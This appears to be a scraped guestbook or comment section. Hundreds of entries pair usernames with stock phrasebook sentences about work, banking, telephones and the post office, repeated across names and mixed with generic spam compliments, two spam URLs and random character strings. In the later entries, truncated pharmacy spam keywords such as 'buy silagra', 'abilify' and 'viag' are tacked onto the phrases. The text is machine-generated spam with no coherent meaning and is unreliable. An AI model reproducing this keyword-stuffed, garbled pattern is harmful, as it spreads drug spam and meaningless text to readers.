Bryce : this is be cool 8) .
Zachery : I wanted to live abroad .
Haywood : Will I have to work shifts? .
Curtis : Very interesting tale .
Dustin : I've got a part-time job .
Monty : Best Site Good Work .
Gaylord : Pleased to meet you .
Mckinley : Which year are you in? .
Coco888 : The United States .
Benjamin : Hold the line, please .
Emanuel : Incorrect PIN .
Gaylord : Incorrect PIN .
Jasper : I'm not sure .
Virgilio : I don't know what I want to do after university .
Geoffrey : I live in London .
Terry : We used to work together .
Kidrock : What do you want to do when you've finished? .
Bryan : I was made redundant two months ago .
Daren : We were at school together .
Allen : What do you do for a living? .
Stacy : We need someone with experience .
Isaiah : How much does the job pay? .
Arlie : I have my own business .
Colin : I've been made redundant .
Allison : Have you read any good books lately? .
Landon : Other amount .
Williams : A jiffy bag .
Owen : I'm unemployed .
Stuart : I can't get a dialling tone .
Lyman : I'm on business .
Ulysses : What's the last date I can post this to to arrive in time f .
Mikel : Do you have any exams coming up? .
Keneth : Another service? .
Lily : I'm doing a masters in law .
Carter : I'm a housewife .
Carson : very best job .
Arnulfo : Languages .
Scottie : I really like swimming .
Adolfo : How much is a First Class stamp? .
Edwardo : No, I'm not particularly sporty .
Ivory : What's the last date I can post this to to arrive in time f .
Infest : What are the hours of work? .
Alphonse : How would you like the money? .
Rolland : Hello good day .
Stanford : Could I borrow your phone, please? .
Emery : magic story very thanks .
Arlen : Sorry, I'm busy at the moment .
Rudolph : Punk not dead .
Morgan : What sort of work do you do? .
Sylvester : Your account's overdrawn .
Howard : I'm a trainee .
Lawerence : Could I have a statement, please? .
Federico : I saw your advert in the paper .
Marissa : On another call .
Roman : I've been made redundant .
Stacy : How do you spell that? .
Rickie : Do you have any exams coming up? .
Tristan : I work with computers .
Nicolas : Three years .
Stephen : I've got a part-time job .
Michal : Where are you from? .
Jonas : I'm on a course at the moment .
Gustavo : My battery's about to run out .
Vince : What sort of work do you do? .
Rickie : I work for a publishers .
Rosendo : I really like swimming .
Edward : Have you got a current driving licence? .
Devin : Another year .
Wilbert : I've got a very weak signal .
Armand : Insert your card .
Harlan : We were at school together .
Armando : Canada>Canada .
Ollie : I'm not working at the moment .
Jackson : Could you tell me my balance, please? .
Lawerence : What sort of work do you do? .
Antwan : A Second Class stamp .
Chris : I'm in a band .
Warren : We were at school together .
Nestor : I'm retired .
Shawn : Punk not dead .
Quintin : I'm a member of a gym .
Carlo : How much is a Second Class stamp? .
Lawerence : I've just started at .
Kelley : very best job .
Caleb : I'm only getting an answering machine .
Edison : I like it a lot .
Kendall : I never went to university .
Sonny : I live in London .
Camila : I'm on a course at the moment .
Josef : I'm self-employed .
Modesto : Whereabouts are you from? .
Ruben : Could I have an application form? .
Mohammed : An accountancy practice .
Ramon : Would you like a receipt? .
Zachariah : Photography .
Santos : How do you do? .
Alexandra : Could you tell me the number for ? .
Lorenzo : Which year are you in? .
Hubert : The National Gallery .
Simon : perfect design thanks .
Hershel : Go travelling .
Ariana : A staff restaurant .
Sofia : In tens, please (ten pound notes) .
Mauro : I'm in a band .
Harley : We work together .
Jeffry : I was made redundant two months ago .
Bruce : How much does the job pay? .
Isaias : Do you need a work permit? .
Isaac : What sort of music do you listen to? .
Virgilio : Could I have an application form? .
Ethan : We need someone with qualifications .
Alden : Special Delivery .
Kelly : How long are you planning to stay here? .
Bobby : How long have you lived here? .
Gabriel : We need someone with experience .
Ella : Sorry, I'm busy at the moment .
Ryan : I'd like to apply for this job .
Maxwell : I really like swimming .
Frederick : this is be cool 8) .
Santiago : Some First Class stamps .
Burton : I've got a very weak signal .
Preston : I'm doing a masters in law .
Alfredo : Is this a temporary or permanent position? .
Crazyivan : Other amount .
Eugenio : I'm only getting an answering machine .
Moises : Could you tell me my balance, please? .
Lamont : Can I use your phone? .
Eblanned : Which team do you support? .
Arturo : I'd like some euros .
Getjoy : Do you like it here? .
Willy : Would you like to leave a message? .
Micheal : I saw your advert in the paper .
Julio : What do you like doing in your spare time? .
Johnnie : I wanted to live abroad .
Guadalupe : A packet of envelopes .
Grant : Recorded Delivery .
Trent : I support Manchester United .
Davis : A packet of envelopes .
Samantha : Do you know what extension he's on? .
Abigail : What line of work are you in? .
Jeremiah : Thanks funny site .
Lincoln : Best Site good looking .
Bradford : Do you play any instruments? .
Emma : Lost credit card .
Leandro : I've just started at .
Ervin : Do you have any exams coming up? .
Jarrod : I'm a partner in .
Neville : Where do you live? .
Young : I like it a lot .
Derek : I work with computers .
Rigoberto : Incorrect PIN .
Michale : I work here .
Scotty : What do you do? .
Clemente : I'd like to withdraw $100, please .
Pablo : A pension scheme .
Jeramy : How much notice do you have to give? .
Hailey : Another service? .
Lucio : What sort of music do you like? .
Amber : Is it convenient to talk at the moment? .
Fernando : I'm unemployed .
Andrea : Get a job .
Granville : Could I order a new chequebook, please? .
Hailey : What's the exchange rate for euros? .
Manuel : Cool site goodluck :) .
Lawerence : Where do you live? .
Albert : Looking for work .
Titus : A First Class stamp .
Antoine : I'm doing an internship .
Dalton : Could you ask her to call me? .
Tracey : A financial advisor .
Heriberto : Directory enquiries .
Ramiro : I'd like to withdraw $100, please .
Armand : A pension scheme .
Lavern : Did you go to university? .
Richard : Which team do you support? .
Perry : Could I take your name and number, please? .
Mitch : I've just started at .
Layla : The United States .
Rodolfo : On another call .
Trent : I'm a housewife .
Carson : Could you ask him to call me? .
Darwin : What do you study? .
Basil : I like watching football .
Brayden : Where do you study? .
Darrel : Can you hear me OK? .
Trevor : Do you need a work permit? .
Robbie : Sorry, I ran out of credit .
Ezequiel : I'd like to open an account .
Jimmi : I never went to university .
Jamison : Languages .
Jocelyn : Sorry, I ran out of credit .
Olivia : How do you know each other? .
Phillip : I saw your advert in the paper .
Emmett : Do you know the address? .
Silas : This site is crazy :) .
Roderick : Is there ? .
Nickolas : I've been made redundant .
Rickey : One moment, please .
Hosea : What's the last date I can post this to to arrive in time f .
Antoine : What do you do? .
Franklin : I'd like to tell you about a change of address .
Korey : I'm afraid that number's ex-directory .
Domingo : When can you start? .
Arlen : About a year .
Lester : Could you please repeat that? .
Mohammad : Children with disabilities .
Royal : How much will it cost to send this letter to ? .
Donte : Which university are you at? .
Tyler : Until August .
Manual : Sorry, you must have the wrong number .
Tracey : Recorded Delivery .
Geraldo : I support Manchester United .
Irea : What do you like doing in your spare time? .
Jarrett : I'd like to send this letter by .
Roosevelt : I'm doing an internship .
Deangelo : I like watching football .
Arron : Very funny pictures .
Shirley : Insufficient funds .
Eric : Do you like it here? .
Danial : Could I order a new chequebook, please? .
Jewel : Where's the postbox? .
Claire : I'm interested in .
Loren : I'm doing a phd in chemistry .
Makayla : I'd like to cancel this standing order .
Aaliyah : One moment, please .
Harris : Can I call you back? .
Christoper : Directory enquiries .
Daryl : I'm on a course at the moment .
Clinton : Free medical insurance .
Rachel : Do you have any exams coming up? .
Blair : I can't hear you very well .
Lyman : I'm happy very good site .
Fidel : US dollars .
Peyton : Accountant supermarket manager .
Bertram : It's OK .
Burton : Would you like a receipt? .
Kermit : Photography .
Reyes : this is be cool 8) .
Layla : I'll put him on .
Eva : I'd like to change some money .
Carlos : A pension scheme .
Behappy : Sorry, you must have the wrong number http://www.cfastresult .
Thomas : What part of do you come from? .
Titus : I do some voluntary work .
Warren : I really like swimming .
Ernest : Whereabouts are you from? .
Toney : I'm doing an internship .
Lonny : I'm in my first year at university .
Fermin : Will I get paid for overtime? .
Marlon : perfect design thanks .
Scott : I'm in a band .
Ollie : Where do you live? .
Buford : I'm sorry, he's .
Ferdinand : What are the hours of work? .
Terry : We work together .
Thurman : I'm self-employed .
Hubert : Another service? .
Mia : Very funny pictures .
Marcellus : I'm interested in this position .
Kurtis : I work here .
Pierre : Could I order a new chequebook, please? .
Alexandra : Withdraw cash .
Timothy : very best job .
Randy : I've only just arrived .
Royal : Wonderfull great site .
Isreal : A law firm .
Carmine : Good crew it's cool :) .
Dominick : Have you got any experience? .
Anna : Thanks for calling .
Chris : We need someone with qualifications .
Wilber : History .
Infest : What sort of music do you listen to? .
Alexa : Who do you work for? .
Mckinley : A few months .
Oscar : How much is a Second Class stamp? .
Erick : Could I have a statement, please? .
Dwight : I'd like to speak to someone about a mortgage .
Vicente : Your cash is being counted .
Heyjew : How much will it cost to send this letter to ? .
Steven : A company car .
Renaldo : What's the last date I can post this to to arrive in time f .
Kendrick : I'll send you a text .
Dewayne : I didn't go to university .
Eblanned : I don't know what I want to do after university .
Lowell : I'm doing a phd in chemistry .
Garfield : Good crew it's cool :) .
Tyler : Insufficient funds .
David : How long are you planning to stay here? .
Rigoberto : We need someone with qualifications .
Johnnie : I'm afraid that number's ex-directory .
Modesto : It's funny goodluck .
Jorge : I've been made redundant .
Hailey : Where do you study? .
Byron : I didn't go to university .
Dominick : How long have you lived here? .
Kirby : Remove card .
Reinaldo : I'd like , please .
Delmer : How long have you lived here? .
Steep777 : What line of work are you in? .
Rudolph : What's the interest rate on this account? .
Lillian : I'm doing an internship .
Albert : Could I order a new chequebook, please? .
Clarence : I'd like to open a personal account .
Audrey : We used to work together .
Infest : I'm not interested in football .
Merrill : We'd like to invite you for an interview .
Jamaal : Until August .
Isreal : I'd like to send this letter by .
Edison : What's your number? .
Millard : We'd like to offer you the job .
Adalberto : I'd like to cancel this standing order .
Chadwick : i'm fine good work .
Rickey : Will I have to work shifts? .
Billie : this post is fantastic .
Deandre : I'd like to take the job .
Isabelle : We need someone with experience .
Weston : I like watching football .
Bernardo : Special Delivery .
Victor : I can't hear you very well .
Ivory : Do you know the address? .
Teddy : Directory enquiries .
Clinton : Sorry, I ran out of credit .
Charlie : Your account's overdrawn .
Edwardo : How do you spell that? .
Jordan : I went to .
Reynaldo : I'd like to open a personal account .
Virgilio : What part of do you come from? .
Amia : I really like swimming .
DE : I was born in Australia but grew up in England .
Forest : What's the exchange rate for euros? .
Brock : I've got a full-time job .
Ahmad : Do you have any exams coming up? .
Refugio : Looking for work .
Leonard : Recorded Delivery .
Tracy : Special Delivery .
Andre : Remove card .
Anton : Is it convenient to talk at the moment? .
Homer : I'm self-employed .
Elliot : Insufficient funds .
Levi : A pension scheme .
Frances : I live here .
Genaro : Accountant supermarket manager .
Vanessa : Could I borrow your phone, please? .
Monte : Where are you from? .
Ahmad : How many days will it take for the cheque to clear? .
Walton : Pleased to meet you .
Randolph : In a meeting .
Gobiz : Punk not dead .
Enrique : Remove card .
Josiah : I was made redundant two months ago .
Moshe : this post is fantastic .
Rocco : I'm on holiday .
Leigh : It's funny goodluck .
Jeffery : Where did you go to university? .
Rolland : Would you like to leave a message? .
Maximo : I'm sorry, I didn't catch your name .
Major : US dollars .
Shane : I've been cut off .
Chauncey : I'll put him on .
Aidan : One moment, please .
Marshall : Best Site Good Work .
Ricardo : Photography .
Josue : How much does the job pay? .
Deadman : I'm doing a phd in chemistry .
Dirtbill : The manager .
Gregory : Looking for a job .
Arron : The manager .
Alexa : this is be cool 8) .
Timmy : I'd like to send this parcel to .
Marlin : I've come to collect a parcel .
Ignacio : One moment, please .
Brooklyn : What's the current interest rate for personal loans? .
Bryon : An estate agents .
Napoleon : We'd like to offer you the job .
Garland : Could you ask him to call me? .
Bruce : No, I'm not particularly sporty .
Preston : I don't like pubs .
Teodoro : I've lost my bank card .
Sean : Where's the postbox? .
Dewitt : I wanted to live abroad .
Santos : Languages .
Byron : Where's the nearest cash machine? .
Flyman : I'd like , please .
Rogelio : very best job .
Andrea : Could I have , please? .
Alexa : Do you know what extension he's on? .
Reyes : this is be cool 8) .
Cody : Canada>Canada .
Jerrod : A packet of envelopes .
Ronnie : I'm a housewife .
Young : I'm not interested in football .
Winston : Remove card .
Colton : Wonderfull great site .
Cedric : I can't get a signal .
Harold : A First Class stamp .
Murray : How much will it cost to send this letter to ? .
Emile : What qualifications have you got? .
Allison : A book of First Class stamps .
Mary : I'm a housewife .
Gabriella : I can't hear you very well .
Ella : I live here .
Tony : How do you know each other? .
Russel : Directory enquiries .
Laverne : I can't get through at the moment .
Sterling : What are the hours of work? .
Grace : I'm originally from Dublin but now live in Edinburgh .
Louie : What's the current interest rate for personal loans? .
Genaro : I was made redundant two months ago .
Rodolfo : Have you read any good books lately? .
Quentin : Another year .
Oswaldo : Pleased to meet you .
Jeromy : Could I borrow your phone, please? .
Keneth : Will I be paid weekly or monthly? .
Jacob : History .
Rocky : Do you play any instruments? .
Chester : I never went to university .
Kareem : How do I get an outside line? .
Lenard : The National Gallery .
Quincy : Could you tell me my balance, please? .
Marcos : We'd like to invite you for an interview .
Goodboy : What are the hours of work? .
Addison : Your account's overdrawn .
Sammy : Which team do you support? .
Lucio : When can you start? .
Clement : Directory enquiries .
Layla : I'm retired .
Billie : I want to make a withdrawal .
Sara : Gloomy tales .
Everette : Do you know the address? .
Marcelo : I never went to university .
Melissa : Could you tell me the dialing code for ? .
Christian : I've lost my bank card .
Francisco : Photography .
Sierra : I'm sorry, he's .
Joaquin : I work here .
Eduardo : How much does the job pay? .
Jessie : I do some voluntary work .
Nelson : Where do you live? .
Darell : We'd like to offer you the job .
Mckinley : We work together .
Myron : Who would I report to? .
Antony : I'd like some euros .
Henry : Another service? .
Clark : How would you like the money? .
Ryan : There's a three month trial period .
Lorenzo : We'd like to offer you the job .
Carlos : I'm self-employed .
Julio : I'm at Liverpool University .
Elvin : What's the last date I can post this to to arrive in time f .
Collin : Do you know what extension he's on? .
Brooks : Where are you calling from? .
Fifa55 : Do you know the address? .
Eli : What sort of music do you like? .
Andrew : What sort of music do you like? .
Mitch : I work for myself .
Walter : I'd like to withdraw $100, please .
Donnell : Looking for a job .
Dusty : Please call back later .
Nicholas : I'd like a phonecard, please .
Darius : We've got a joint account .
Kimberly : How long are you planning to stay here? .
Damian : Hello good day .
Emma : Hello good day .
Wilson : What qualifications have you got? .
Ezekiel : I'd like to withdraw $100, please .
Tyron : I'd like to open a business account .
Markus : How much notice do you have to give? .
Sebastian : What part of do you come from? .
Razer22 : Through friends .
Samual : How long are you planning to stay here? .
Paris : The United States .
Valentin : Other amount .
Jefferey : How much is a First Class stamp? .
Curtis : Could I borrow your phone, please? .
Clyde : I was made redundant two months ago .
Jefferson : I'm sorry, I didn't catch your name .
Carmine : It's OK .
Isabel : Sorry, I ran out of credit .
Lindsey : A few months .
Ella : Can you put it on the scales, please? .
Arlen : I'd like to order some foreign currency .
Connie : Very funny pictures .
Sheldon : Could I make an appointment to see ? .
Gobiz : Why did you come to ? .
Wilford : Could you please repeat that? .
Roland : The National Gallery .
Floyd : International directory enquiries .
Rogelio : Directory enquiries .
Henry : How many would you like? .
Jewel : A book of First Class stamps .
Andre : An accountancy practice .
Stacey : Do you have any exams coming up? .
Isreal : Yes, I play the guitar .
August : I'm originally from Dublin but now live in Edinburgh .
Javier : I'm unemployed .
Manual : Gloomy tales .
JimmiXzS : y71ohY http://www.FyLitCl7Pf7kjQdDUOLQOuaxTXbj5iNG.com .
Bryon : Very funny pictures .
Willis : I really like swimming .
Clemente : Yes, I play the guitar .
Leigh : We need someone with qualifications .
Manual : I'll put him on .
Anderson : Could you give me some smaller notes? .
Jason : When do you want me to start? .
Edwin : Very funny pictures .
Noah : Do you have any exams coming up? .
Kylie : I can't hear you very well .
Terrell : Just over two years .
Irving : Not available at the moment .
Salvador : Your cash is being counted .
Rudolf : What company are you calling from? .
Dennis : A law firm .
Anibal : Why did you come to ? .
Alexis : I've lost my bank card .
Rickie : This is your employment contract .
Florencio : Insufficient funds .
Vince : How would you like the money? .
Luis : Sorry, you must have the wrong number .
Stephan : A staff restaurant .
Jeromy : Have you got any ? .
Kelly : I'm on a course at the moment .
Hobert : A company car .
Young : Jonny was here .
Freddie : We used to work together .
Emmitt : Hello good day .
Tanner : I don't like pubs .
Brendon : Yes, I love it! .
Goodsam : Best Site Good Work .
Diana : About a year .
Eugene : Remove card .
Norberto : Some First Class stamps .
Wilber : Go travelling .
Logan : I'll put her on .
Alvaro : Have you got any experience? .
Leopoldo : Get a job .
Gordon : I'm sorry, I'm not interested .
Michale : Insufficient funds .
Willian : How long are you planning to stay here? .
Fritz : I'm from England .
Brock : Please call back later .
Melvin : I'd like to withdraw $100, please .
Brett : Could you tell me the dialing code for ? .
Rhett : Yes, I play the guitar .
Lyman : What sort of work do you do? .
Amber : Not available at the moment .
Bella : Remove card .
Josue : I'd like to open a business account .
Timmy : Best Site Good Work .
Cristopher : I'm only getting an answering machine .
Jewell : I'm happy very good site .
Abdul : I read a lot .
Kenneth : I'm a partner in .
Carol : International directory enquiries .
Ethan : Go travelling .
Clair : Sorry, I'm busy at the moment .
Nicky : Cool site goodluck :) .
Romeo : I'd like to send this parcel to .
Jake : What line of work are you in? .
Jacob : Pleased to meet you .
Norberto : Would you like a receipt? .
Micheal : I hate shopping .
Trinity : A First Class stamp .
Duane : What part of do you come from? .
Brayden : I'd like to change some money .
Prince : Go travelling .
Nelson : this post is fantastic .
Elizabeth : I'm sorry, I'm not interested .
Darren : Can I call you back? .
Rodolfo : We were at school together .
Harold : I really like swimming .
Antone : Where's the nearest cash machine? .
Leah : How much does the job pay? .
Jeffery : I wanted to live abroad .
Edmund : A pension scheme .
Edward : I came here to study .
Carlos : I'd like to open a business account .
Lucien : Could you please repeat that? .
Emmett : Can I use your phone? .
Jonah : How much is a First Class stamp? .
Alphonso : I'm not working at the moment .
Caroline : I study here .
Christophe : Which year are you in? .
Mckinley : Which university are you at? .
Terence : I'd like to send this letter by .
Chance : Hello good day .
Makayla : Incorrect PIN .
Gerald : How much were you paid in your last job? .
Freddy : A packet of envelopes .
Elisha : Excellent work, Nice Design .
Clifford : I sing in a choir .
Charley : I'm on a course at the moment .
Jeromy : A staff restaurant .
Jamie : It's a bad line .
Edwin : Have you got a telephone directory? .
Jerold : I'm sorry, I'm not interested .
Gerry : The line's engaged .
Kylie : Could I have a statement, please? .
Mathew : Until August .
Rudolph : Could you ask her to call me? .
Brooks : I'm on holiday .
Leopoldo : Enter your PIN .
Liam : Hello good day .
Mariano : It's funny goodluck .
Lorenzo : What do you like doing in your spare time? .
Santiago : What part of do you come from? .
Manuel : How much is a Second Class stamp? .
Serenity : I've got a full-time job .
Reynaldo : I'm doing a phd in chemistry .
Gianna : Hold the line, please .
Buddy : I enjoy travelling .
Paige : Where do you study? .
Bob : I was born in Australia but grew up in England .
Johnathon : Could I have a statement, please? .
Emilio : I'd like to pay this in, please .
Chung : Very interesting tale .
Tony : Where do you live? .
Moises : Yes, I play the guitar .
Freelife : Very funny pictures .
Waldo : I'd like to open a personal account .
Dannie : Could you tell me the number for ? .
Joesph : Very funny pictures .
Daron : What do you want to do when you've finished? .
Xavier : I'm not working at the moment .
Aiden : I'm not sure .
Tomas : very best job .
Adalberto : How much will it cost to send this letter to ? .
Jarod : Sorry, I'm busy at the moment .
Erasmo : I sing in a choir .
Elizabeth : How many are there in a book? .
Michal : Will I get paid for overtime? .
Marquis : The manager .
Edmond : I'll put him on .
Rusty : Pleased to meet you .
Demarcus : We're at university together .
Lily : I'd like to tell you about a change of address .
Johnson : How much is a First Class stamp? .
Fredrick : I'd like to tell you about a change of address .
Jesse : I'm on holiday .
Genaro : I've got a full-time job .
Crazyfrog : What sort of music do you like? .
Wilson : Can you hear me OK? .
Rocco : I've got a very weak signal .
Sterling : I quite like cooking .
Dewey : How do I get an outside line? .
Dominic : I'm sorry, she's .
Delmar : I'd like to change some money .
Kidrock : We'd like to offer you the job .
Tyree : Where are you from? .
Pablo : I hate shopping .
Haley : Photography .
Dylan : Insufficient funds .
Nicole : Have you got a current driving licence? .
Brayden : I'd like a phonecard, please .
Josiah : I'm sorry, I'm not interested .
Gobiz : I'm doing a phd in chemistry .
Collin : I work with computers .
Harlan : Which team do you support? .
Kendall : I work here .
Michelle : Would you like to leave a message? .
Brenton : I sing in a choir .
Irving : Looking for a job .
Kimberly : How do you do? .
Keenan : A company car .
Lioncool : I work for myself .
Christophe : An accountancy practice .
Clinton : I'm training to be an engineer .
Damon : Yes, I love it! .
Isaias : What sort of music do you listen to? .
Stephen : I'm from England .
Dwayne : I like it a lot .
Jospeh : What do you study? .
Shaun : I'd like to take the job .
Lowell : The manager .
Ezekiel : Cool site goodluck :) .
Carrol : very best job .
Rueben : I work with computers .
Galen : I quite like cooking .
Clint : Could I take your name and number, please? .
George : real beauty page .
Billie : I came here to work .
Domingo : Do you know the number for ? .
Dannie : Who would I report to? .
Joshua : How much were you paid in your last job? .
Prince : I'm not sure .
Damon : Lost credit card .
Zackary : There's a three month trial period .
Jewell : I'd like some euros .
Kenny : What are the hours of work? .
Emmanuel : A staff restaurant .
Xavier : I live here .
Amia : Gloomy tales xltquockzxki, .
jxllcky : hDmiga tppxxhkpgwyx, .
Theron : Have you read any good books lately? abilify bu .
Rogelio : Could you tell me the number for ? .
Tilburg : How many more years do you have to go? levaquin l .
Oswaldo : I'm happy very good site .
Jacques : I'm doing an internship .
Gabriel : Your cash is being counted .
Darin : this post is fantastic elocon .
Kaden : Hold the line, please .
Ricardo : Who would I report to? .
Pitfighter : How long have you lived here? p .
Carol : I'd like , please .
Forest : I quite like cooking ponstel 250 m .
Jamel : Looking for a job .
Gerry : I like it a lot .
Nicholas : Go travelling femara n .
Steven : Have you got a current driving licence? .
Landon : real beauty page .
Alexis : I'm retired what is th .
Johnnie : I'd like to send this to .
Darren : I'm a partner in sild .
Patric : Have you read any good books lately? .
Austin : How many are there in a book? .
Rolando : How do I get an outside line? .
Flyman : How many weeks' holiday a year are there? .
Jamaal : Just over two years .
Carter : How do you know each other? .
Lucio : Special Delivery .
Aubrey : perfect design thanks .
Julio : We went to university together .
Emmitt : Can I take your number? .
Rupert : What's the interest rate on this account? .
Francisco : What's the last date I can post this to to arrive in time f .
Rosario : I wanted to live abroad .
Aaliyah : Hello good day .
Isidro : I hate shopping uti t .
Santiago : Please wait price of .
Philip : I hate shopping .
Murray : I like watching TV buy silagra in .
Federico : I'm on holiday sid .
Thanh : I have my own business .
Tomas : Do you need a work permit? .
DE : A law firm allo .
Korey : I'd like to open a business account .
Modesto : I've got a very weak signal can you b .
Ezekiel : Will I have to work on Saturdays? .
Mario : good material thanks .
Genaro : International directory enquiries lev .
Jackson : I don't like pubs .
Alexa : perfect design thanks .
Lindsay : I've come to collect a parcel .
Jamey : On another call sulf .
Randolph : I'm happy very good site san .
Elijah : How would you like the money? .
Kendrick : A staff restaurant .
Darrin : History buy spiro .
Deshawn : How do you know each other? .
Mathew : Recorded Delivery buy .
Audrey : Sorry, I ran out of credit .
Sarah : I didn't go to university gen .
Mohammed : I didn't go to university antabuse imp .
Morgan : Is it convenient to talk at the moment? buy pyr .
Bryant : Good crew it's cool :) .
Delmer : Incorrect PIN pyrid .
Antone : Lost credit card buy ge .
Jamaal : very best job .
Melanie : Enter your PIN pyrid .
Razer22 : I work for myself ins .
Marcel : Directory enquiries .
Dghonson : The National Gallery .
Peyton : How do you spell that? .
Autumn : Whereabouts in are you from? .
Leonard : Incorrect PIN aeri .
Lance : Do you know the address? .
Tommie : I'm sorry, I didn't catch your name .
Ahmed : This is the job description .
Phillip : Through friends silag .
Gordon : Which team do you support? .
Sidney : Best Site good looking bu .
Lillian : I'm sorry, he's .
Gustavo : I'm in a band .
Tracy : I've come to collect a parcel .
Rigoberto : I came here to work .
Jesse : I study here generic me .
Judson : Could I order a new chequebook, please? .
Tristan : Looking for work mail .
Myron : Where's the postbox? si .
Claude : Yes, I play the guitar .
Kermit : I'm happy very good site .
Mariah : How much were you paid in your last job? .
Adolph : Not available at the moment .
Chadwick : I'm on business .
Bennie : Could you tell me my balance, please? .
Cristobal : What do you like doing in your spare time? .
Walker : How much will it cost to send this letter to ? .
Arron : Thanks for calling .
Josef : Could I have a statement, please? p .
Thebest : Did you go to university? ho .
Dominic : I'm happy very good site .
Bonser : I've come to collect a parcel .
Caden : I stay at home and look after the children .
Nicholas : I want to make a withdrawal .
Kasey : Thanks funny site lo .
Barrett : this post is fantastic .
Anibal : Withdraw cash .
Julian : I've come to collect a parcel buy .
Edgardo : I'd like to open a personal account .
Patricia : I'll put her on .
Michal : Is this a temporary or permanent position? .
Bobber : International directory enquiries .
Razer22 : How much is a Second Class stamp? .
Christian : I do some voluntary work .
Philip : Stolen credit card .
Elbert : I'd like to take the job .
Chang : I stay at home and look after the children .
Alton : Have you got any ? .
Isaac : Do you know the number for ? .
Isreal : Recorded Delivery .
Sofia : I'd like to change some money ha .
Horace : Another year lev .
Tyron : Not in at the moment ge .
Scottie : I need to charge up my phone .
Clinton : How much were you paid in your last job? .
Grady : An accountancy practice .
Elbert : We work together .
Johnathan : Through friends .
Dudley : Where did you go to university? .
Herschel : We were at school together .
Eva : Through friends .
Major : Will I be paid weekly or monthly? .
Titus : I've lost my bank card .
Broderick : We were at school together .
Steven : Jonny was here .
Jamie : I'm doing a phd in chemistry p .
Francis : US dollars z .
Lynwood : I'm doing a phd in chemistry .
Roberto : We used to work together prome .
Eddie : Could I ask who's calling? .
Benjamin : Photography .
Julian : I'd like to tell you about a change of address .
Josiah : Are you a student? a .
Hipolito : Have you seen any good films recently? .
Heriberto : Remove card .
Nicholas : I study here si .
Salvatore : I can't get through at the moment .
Raymon : The line's engaged a .
Barney : I'd like to open a personal account .
Terrence : We used to work together .
Charley : Very funny pictures .
Eduardo : Some First Class stamps .
Norris : Some First Class stamps .
Johnathon : I'd like a phonecard, please .
Isaias : Have you seen any good films recently? finp .
Danielle : It's funny goodluck .
Tracey : I want to report a .
Garry : I'm sorry, she's .
Abigail : Go travelling .
Julio : Photography glyburi .
Dominique : I work here .
Deadman : How many weeks' holiday a year are there? .
Sarah : I'm not interested in football .
Dillon : Could you please repeat that? .
Harold : I can't get a signal li .
Diva : Your cash is being counted .
Cyril : It's funny goodluck .
Savannah : I'm on holiday ranitidi .
Angel : Do you know each other? tof .
Kyle : I have my own business .
Lightsoul : I read a lot aciclo .
Zoe : I'd like to open a business account buy .
Clifford : There's a three month trial period tofranil ta .
Romeo : How do you spell that? re .
Warner : This site is crazy :) .
Thanh : I work here buy .
Lawrence : Through friends pu .
Brendan : i'm fine good work regl .
Wyatt : Enter your PIN .
Archie : I'd like to open a personal account .
Sheldon : It's OK order medroxy .
Stefan : I have my own business .
Diana : Are you a student? chea .
Jeffery : I'm on holiday zylo .
Jimmi : This site is crazy :) sild .
Nogood87 : I've lost my bank card buspar buy .
Claire : Will I be paid weekly or monthly? .
Cole : Remove card whe .
Maria : I'd like a phonecard, please apca .
Adolfo : I'd like to pay this in, please .
Donald : Your account's overdrawn .
Lamont : Thanks funny site .
Bella : Three years daily cial .
Silas : Could I make an appointment to see ? .
Columbus : I work for myself .
Eldridge : perfect design thanks .
Nevaeh : I like it a lot .
Vance : Your cash is being counted ba .
Neville : What sort of music do you like? .
Tony : Where do you study? .
Lionel : Is this a temporary or permanent position? glyburid .
Percy : The line's engaged .
Garry : Whereabouts are you from? .
Megan : A First Class stamp .
Lonny : I'd like to send this parcel to co .
Elbert : I'll send you a text wh .
Joshua : Have you got any ? avodar .
Myles : Your cash is being counted buy .
Claude : Some First Class stamps .
Donnell : It's funny goodluck bu .
Ambrose : How many are there in a book? .
Keenan : Enter your PIN .
Allen : I'm in my first year at university .
Rudolph : A book of First Class stamps .
Justin : I'd like to pay this cheque in, please .
Stanton : I'll send you a text .
Plank : A few months metronid .
Lifestile : I can't get through at the moment .
Hiram : I have my own business .
Stuart : I want to report a .
Patric : How do I get an outside line? .
Sherwood : Where do you live? clarine .
Lifestile : What sort of work do you do? can i .
Damon : Your cash is being counted .
DE : What are the hours of work? .
Marshall : Could I have a statement, please? .
Derek : magic story very thanks .
Terrell : Other amount methocarb .
Laverne : I'm training to be an engineer dru .
Monte : I'm training to be an engineer .
Shannon : Insert your card .
Lucio : I'd like to pay this in, please .
Alphonso : We're at university together .
Alfredo : A staff restaurant .
Arturo : Incorrect PIN a .
Kimberly : I've got a full-time job .
Arron : I'm sorry, she's .
Carroll : Where's the postbox? .
Deangelo : It's a bad line buyi .
Valentine : How much notice do you have to give? .
Isabel : Looking for work .
Alberto : Excellent work, Nice Design .
Gustavo : Sorry, you must have the wrong number .
Jeffry : I'm a trainee nor .
Barrett : Have you got a current driving licence? .
Arnulfo : How many days will it take for the cheque to clear? .
Santos : I have my own business .
Johnny : Have you read any good books lately? .
Ferdinand : How do you know each other? .
Jeffrey : History buy sinequ .
Kevin : I'd like to send this letter by .
Jaime : I'd like to open an account .
Randolph : Canada>Canada .
Dorsey : I'd like , please .
Angelo : I work for myself .
Shirley : I'm in my first year at university femara w .
Michel : Can I use your phone? .
Teodoro : Could I order a new chequebook, please? .
Frederick : I'd like to change some money fr .
Ervin : I work here nor .
Forest : I sing in a choir .
Kurtis : Could you give me some smaller notes? .
Lily : Will I be paid weekly or monthly? .
Willis : I'd like to cancel a cheque .
Courtney : How much does the job pay? .
Isaiah : Incorrect PIN le .
Bryon : What do you want to do when you've finished? .
Miquel : I'm sorry, I'm not interested .
Manuel : Will I be paid weekly or monthly? .
Jospeh : I'll put her on .
Miguel : I'll call back later .
Dusty : How many would you like? .
George : I'd like to open a personal account .
Truman : It's serious flomax v .
Gianna : The line's engaged .
Madelyn : Could you tell me my balance, please? .
Gordon : Will I get travelling expenses? .
Grady : In a meeting generic .
Willie : What line of work are you in? li .
Irvin : I'm interested in me .
Odell : Canada>Canada .
Paige : What are the hours of work? .
Leopoldo : Whereabouts are you from? .
Oliver : I've just graduated .
Arnold : I'd like to tell you about a change of address .
Melvin : Is this a temporary or permanent position? .
Kasey : I'm on business .
Aaliyah : How long are you planning to stay here? .
Hayden : I wanted to live abroad .
Johnnie : I quite like cooking .
Cole : I'll call back later .
Eldon : One moment, please .
Weldon : Could I have , please? .
Mauro : I'd like to open a business account .
Scottie : Could I order a new chequebook, please? .
Efren : It's funny goodluck .
Emory : Could I have an application form? viag .
